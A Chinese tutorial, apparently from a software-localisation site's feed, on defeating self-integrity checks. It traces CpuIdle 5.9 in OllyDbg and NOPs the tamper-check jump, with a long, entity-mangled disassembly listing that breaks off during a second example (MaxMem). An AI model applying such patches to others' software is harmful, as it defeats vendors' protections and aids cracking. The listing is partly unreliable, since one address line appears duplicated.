<?xml version="1.0" encoding="gb2312" ?>
<document>
<webSite>悠久软件 </webSite>
<webMaster>webmaster@admin.youjoys.cn </webMaster>
<updatePeri>15 </updatePeri>
<item>
<title>汉化提高课─解除软件自检验 </title>
<link>http://www.youjoys.cn/knowledge/20110923/408.html </link>
<description>汉化提高课─解除软件自检验 作者：─ 在汉化一个软件之前，我想首先摆在我们汉化人之前的就有两大难题：一是软件被加了壳，二是软件自身有自检验；如果我们无法很好的处理这两个难题的话， 将不能进行软件的汉化。就此，我以我多年的汉化经验写了两篇《汉化 </description>
<text>汉化提高课─解除软件自检验
作者：─
在汉化一个软件之前，我想首先摆在我们汉化人之前的就有两大难题：一是软件被加了壳，二是软件自身有自检验；如果我们无法很好的处理这两个难题的话， 将不能进行软件的汉化。就此，我以我多年的汉化经验写了两篇《汉化提高课》文章，一篇是关于软件脱壳的，一篇（此篇）是关于解除软件自检验的，衷心希望各位汉化爱好者能在阅读完这两篇文章之后，汉化技术会有进一步的提高，我写这两篇文章的目的也就达到了。
什么是自检验？自检验是软件作者给软件加保护的一种方式，它是通过检查程序的完整性来防止其它人修改软件。这种完整性检查就是针对程序的某一部分或全部计算出一个值来，然后和预期的值相比较。如果不同，则说明程序被人修改过了，这有可能是感染了病毒，也可能是被破解了；可让程序在这种情况下拒绝运行。
软件的自检验要如何才能解除呢？我们可以通过一些动态调试器（如Softice、Trw2000、OllyDbg等），跟踪软件的执行过程来判断出软件的自检验处（如果你的汇编高手的话，你还可以分析出自检验的算法），之后修改软件让其跳过这段自检验代码的检验就可以达到解除软件自检验的目的了。俗话说：欲成其事，先利其器；那么我们要先选择一种动态调试软件才能进行下面的工作，用Softice、Trw2000来调试是完全可行的，加上这两个调试器的功能相当强大，但我想大多数汉化人一看到这种调试器就头痛，那还会有心情再把此篇文章看一去；为了让大家能能掌握一些跟踪调试软件的方法，也为了让我这篇文章不白写，我就选用最近调试器中的新成员 OllyDbg 来进行下面的工作吧！
OllyDbg 是一个32位汇编级的直观的分析调试器，它在源代码不可得或者你用编译器遇到问题的时候特别有用，现在最高版本是1.06，它的界面如图一所示，界面上共分为四个窗口，左上角是汇编区，右上角是寄存器区，左下角是内存区，右下角是入栈出栈区。OllyDbg 不像Softice、Trw2000那样在运行时需要占用整个系统的全部资源，它在运行时可以一边调试、一边进行其它工作（比如听MP3)；并且，它的调试环境是友好的图形界面，需要什么命令你都可以在菜单中选择，不必再记任何命令，如何你想调试速度更快的话，你可能需要记一些 OllyDbg 常用的快捷键。选择好顺手的兵器（OllyDbg 1.06）后，下面我们就开始学习解除软件自检验的方法。
（图一）
1、自检验保护软件 CpuIdle 5.9：这个软件是应我们 汉化新世纪成员-五哥 的要求，进行的调试修改。首先，我们知道 CpuIdle 5.9 被UPX1.20加了壳，脱壳后（脱壳方法可以参看我写的另一篇文章《汉化提高课─UPXPR 的脱壳方法》）再次启动软件，你就会发现软件运行不起来，没有任何的错误提示就退出。下面我们启动 OllyDbg 来进行跟踪分析，操作步骤：选择&amp;ldquo;File&amp;rdquo;主菜单中的&amp;ldquo;Open&amp;rdquo;项目（快捷键为F3）载入软件--&amp;gt;稍等片刻后出现如图一所示的界面，之后按 F8 键（也可以选择&amp;ldquo;Debug&amp;rdquo;主菜单中的&amp;ldquo;Step over&amp;rdquo;项目）进行单步调试--&amp;gt;一直按 F8 键来到 0048BB4C 处后（指令为JNZ SHORT CPUIDLE5.0048BB7D），此时再按 F8 键将跳转到 0048BB7D 处，其中从 0048BAE9至0048BB78 之间的指令将不会被执行到，从 0048BB7D 处按 F8 键往后走不到几条指令 OllyDbg 将会中止跟踪过程。所以，我们就可以断定 0048BB4C 处正是软件自检验的检测处；如果此处跳转的话，程序将退出运行；如果此处不跳转的话，程序将会启动继续执行--&amp;gt;知道了软件自检验的检测处是 0048BB4C 后，选择&amp;ldquo;Debug&amp;rdquo;主菜单中的&amp;ldquo;Restart&amp;rdquo;项目（快捷键为Ctrl+F2）重新载入该软件，当跟踪到 0048BB4C 处时，在左上角的汇编区中单击鼠标右键选择&amp;ldquo;Copy to executable file&amp;rdquo;--&amp;gt;在进入的新窗口中单击鼠标右键选择&amp;ldquo;Assemble&amp;rdquo;项目把指令 JNZ SHORT CPUIDLE5.0048BB7D 改为 NOP（注意要选中该对话框中的&amp;ldquo;Fill with NOP's&amp;rdquo;选项）（注：NOP指令为空指令，即不执行任何操作），单击&amp;ldquo;Assemble&amp;rdquo;按钮修改成功，之后关闭新打开这个窗口时 OllyDbg 会询问你&amp;ldquo;文件已经被修改，是否要保存？&amp;rdquo;，单击&amp;ldquo;是&amp;rdquo;按钮后你修改的地方就被永久的保存到 EXE 文件中去了（免去再用 16 进制修改一次的麻烦）。关闭 OllyDbg 后，再次启动新保存的 CpuIdle 5.9，你会发现软件已经可以正常运行了。下面是调试该软件时在 OllyDbg 左上角的汇编区中显示出来的内容。其中，&amp;lsquo;//&amp;rsquo;是我自己加入的注释，方便大家理解；&amp;lsquo;;&amp;rsquo;是 OllyDbg 自动分析出来的字符。0048B9FC &amp;gt;/$ 55 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH EBP &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//载入软件后首先停在这里0048B9FD |. 8BEC &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EBP,ESP 0048B9FF |. 83C4 E0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ADD ESP,-200048BA02 |. 33C0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;XOR EAX,EAX0048BA04 |. 8945 E0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DWORD PTR SS:[EBP-20],EAX0048BA07 |. 8945 E4 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DWORD PTR SS:[EBP-1C],EAX0048BA0A |. 8945 EC &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DWORD PTR SS:[EBP-14],EAX0048BA0D |. 8945 E8 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DWORD PTR SS:[EBP-18],EAX0048BA10 |. B8 A4B74800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,CPUIDLE5.0048B7A40048BA15 |. E8 2EB2F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00406C480048BA1A |. 33C0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;XOR EAX,EAX0048BA1C |. 55 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH EBP0048BA1D |. 68 A3BB4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH CPUIDLE5.0048BBA30048BA22 |. 64:FF30 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH DWORD PTR FS:[EAX]0048BA25 |. 64:8920 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DWORD PTR FS:[EAX],ESP0048BA28 |. 8D55 E8 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LEA EDX,DWORD PTR SS:[EBP-18]0048BA2B |. 33C0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;XOR EAX,EAX0048BA2D |. E8 6A70F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00402A9C0048BA32 |. 8B45 E8 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR SS:[EBP-18]0048BA35 |. 8D55 EC &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LEA EDX,DWORD PTR SS:[EBP-14]0048BA38 |. E8 2FD8F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.0040926C0048BA3D |. 8B55 EC &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,DWORD PTR SS:[EBP-14]0048BA40 |. A1 C0D54800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D5C0]0048BA45 |. E8 3A8EF7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.004048840048BA4A |. A1 C0D54800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D5C0]0048BA4F |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BA51 |. E8 9290F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00404AE80048BA56 |. 8B15 C0D54800 &amp;nbsp;MOV EDX,DWORD PTR DS:[48D5C0] &amp;nbsp;&amp;nbsp;; CPUIDLE5.0048CFAC0048BA5C |. 8B12 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,DWORD PTR DS:[EDX]0048BA5E |. 807C02 FF 5C &amp;nbsp;&amp;nbsp;CMP BYTE PTR DS:[EDX+EAX-1],5C0048BA63 |. 74 14 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JE SHORT CPUIDLE5.0048BA790048BA65 |. A1 C0D54800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D5C0]0048BA6A |. BA B8BB4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,CPUIDLE5.0048BBB80048BA6F |. E8 7C90F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00404AF00048BA74 |. A1 C0D54800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D5C0]0048BA79 |&amp;gt; A1 C0D54800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D5C0]0048BA7E |. BA C4BB4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,CPUIDLE5.0048BBC4 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; ASCII &amp;quot;cpuidle.ini&amp;quot;0048BA83 |. E8 6890F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00404AF00048BA88 |. A1 C0D54800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D5C0]0048BA8D |. A1 08DA4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48DA08]0048BA92 |. 8338 02 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CMP DWORD PTR DS:[EAX],20048BA95 |. 75 2A &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT CPUIDLE5.0048BAC1 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//判断你是不是在 WinNT 下运行该软件，如果此处不跳转则退出程序运行。0048BA97 |. 6A 00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH 00048BA99 |. 8D4D E4 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LEA ECX,DWORD PTR SS:[EBP-1C]0048BA9C |. BA C4130000 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,13C40048BAA1 |. B8 D8BB4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,CPUIDLE5.0048BBD8 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; ASCII &amp;quot;Sorry- This version of CpuIdle does not run on Windows NT&amp;quot;0048BAA6 |. E8 C969FEFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.004724740048BAAB |. 8B45 E4 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR SS:[EBP-1C] &amp;nbsp;; |0048BAAE |. 66:8B0D 14BC48&amp;gt;MOV CX,WORD PTR DS:[48BC14] &amp;nbsp;&amp;nbsp;&amp;nbsp;; |0048BAB5 |. B2 01 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DL,1 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |0048BAB7 |. E8 BCA7FAFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00436278 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; \CPUIDLE5.004362780048BABC |. E9 C7000000 &amp;nbsp;&amp;nbsp;&amp;nbsp;JMP CPUIDLE5.0048BB880048BAC1 |&amp;gt; 68 18BC4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH CPUIDLE5.0048BC18 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; /Arg3 = 0048BC18 ASCII &amp;quot;CpuIdle&amp;quot;0048BAC6 |. 6A 00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH 0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |Arg2 = 000000000048BAC8 |. 6A 00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH 0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |Arg1 = 000000000048BACA |. E8 29B3F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00406DF8 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; \CPUIDLE5.00406DF80048BACF |. A3 0CF04800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DWORD PTR DS:[48F00C],EAX0048BAD4 |. E8 DFB3F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL &amp;lt;JMP.&amp;amp;KERNEL32.GetLastError&amp;gt; ; [GetLastError0048BAD9 |. 3D B7000000 &amp;nbsp;&amp;nbsp;&amp;nbsp;CMP EAX,0B70048BADE |. 74 09 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JE SHORT CPUIDLE5.0048BAE90048BAE0 |. 833D 0CF04800 &amp;gt;CMP DWORD PTR DS:[48F00C],00048BAE7 |. 75 27 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT CPUIDLE5.0048BB10 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//判断 CpuIdle 是否已经运行，如果此处不跳转则退出程序运行。0048BAE9 |&amp;gt; 6A 00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH 00048BAEB |. 8D4D E0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LEA ECX,DWORD PTR SS:[EBP-20]0048BAEE |. BA BE130000 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,13BE0048BAF3 |. B8 28BC4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,CPUIDLE5.0048BC28 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; ASCII &amp;quot;CpuIdle is already running.&amp;quot;0048BAF8 |. E8 7769FEFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.004724740048BAFD |. 8B45 E0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR SS:[EBP-20] &amp;nbsp;; |0048BB00 |. 66:8B0D 14BC48&amp;gt;MOV CX,WORD PTR DS:[48BC14] &amp;nbsp;&amp;nbsp;&amp;nbsp;; |0048BB07 |. B2 01 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DL,1 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |0048BB09 |. E8 6AA7FAFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00436278 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; \CPUIDLE5.004362780048BB0E |. EB 78 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JMP SHORT CPUIDLE5.0048BB880048BB10 |&amp;gt; A1 78D84800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D878]0048BB15 |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BB17 |. E8 8013FDFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.0045CE9C0048BB1C |. A1 78D84800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D878]0048BB21 |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BB23 |. BA 4CBC4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,CPUIDLE5.0048BC4C &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; ASCII &amp;quot;CpuIdle&amp;quot;0048BB28 |. E8 7B0FFDFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.0045CAA80048BB2D |. A1 78D84800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D878]0048BB32 |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BB34 |. C740 74 393000&amp;gt;MOV DWORD PTR DS:[EAX+74],30390048BB3B |. E8 0462FDFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.00461D440048BB40 |. A1 40D64800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D640]0048BB45 |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BB47 |. 35 3CB7D21F &amp;nbsp;&amp;nbsp;&amp;nbsp;XOR EAX,1FD2B73C0048BB4C |. 75 2F &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT CPUIDLE5.0048BB7D &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//软件自检验的关键判断处，如果此处跳转则退出程序运行。0048BAE9 |&amp;gt; 6A 00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH 00048BB4E |. A1 78D84800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D878]0048BB53 |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BB55 |. C640 5B 00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV BYTE PTR DS:[EAX+5B],00048BB59 |. 8B0D FCD94800 &amp;nbsp;MOV ECX,DWORD PTR DS:[48D9FC] &amp;nbsp;; CPUIDLE5.0048F0040048BB5F |. A1 78D84800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D878]0048BB64 |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BB66 |. 8B15 F0724800 &amp;nbsp;MOV EDX,DWORD PTR DS:[4872F0] &amp;nbsp;; CPUIDLE5.0048733C0048BB6C |. E8 4313FDFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.0045CEB40048BB71 |. A1 78D84800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48D878]0048BB76 |. 8B00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[EAX]0048BB78 |. E8 B713FDFF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.0045CF340048BB7D |&amp;gt; A1 0CF04800 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR DS:[48F00C]0048BB82 |. 50 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH EAX &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; /hMutex =&amp;gt; NULL0048BB83 |. E8 50B4F7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL &amp;lt;JMP.&amp;amp;KERNEL32.ReleaseMutex&amp;gt; ; \ReleaseMutex0048BB88 |&amp;gt; 33C0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;XOR EAX,EAX0048BB8A |. 5A &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;POP EDX0048BB8B |. 59 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;POP ECX0048BB8C |. 59 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;POP ECX0048BB8D |. 64:8910 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV DWORD PTR FS:[EAX],EDX0048BB90 |. 68 AABB4800 &amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH CPUIDLE5.0048BBAA0048BB95 |&amp;gt; 8D45 E0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LEA EAX,DWORD PTR SS:[EBP-20]0048BB98 |. BA 04000000 &amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EDX,40048BB9D |. E8 B28CF7FF &amp;nbsp;&amp;nbsp;&amp;nbsp;CALL CPUIDLE5.004048540048BBA2 \. C3 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RETN 
2、自检验保护软件 MaxMem 1.01：这个软件是应一位朋友 txjgzz 的要求，进行的调试修改。这个软件的自检验保护稍弱一点，只要你修改了该软件中的任何一处，启动软件时它会提示说&amp;ldquo;ABORT: MaxMem has been corrupted, please re-install to correct the problem.. (winmain.c/564)&amp;rdquo;，这句话就是最好的解除自检验的突破口。按照上一篇操作步骤先用 OllyDbg 载入该软件，之后选择&amp;ldquo;Debug&amp;rdquo;主菜单中的&amp;ldquo;Run&amp;rdquo;项目（快捷键为F9）让软件运行，当该软件跳出错误提示对话框时，切换到 OllyDbg 中（注意：此时不要关闭出错对话框，否则下面的查找会失败）按 F12 键来到下面这里：0040158B |. F605 7C014100 &amp;gt;TEST BYTE PTR DS:[41017C],1000401592 |. 75 35 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT MAXMEM.004015C900401594 |. 6A 10 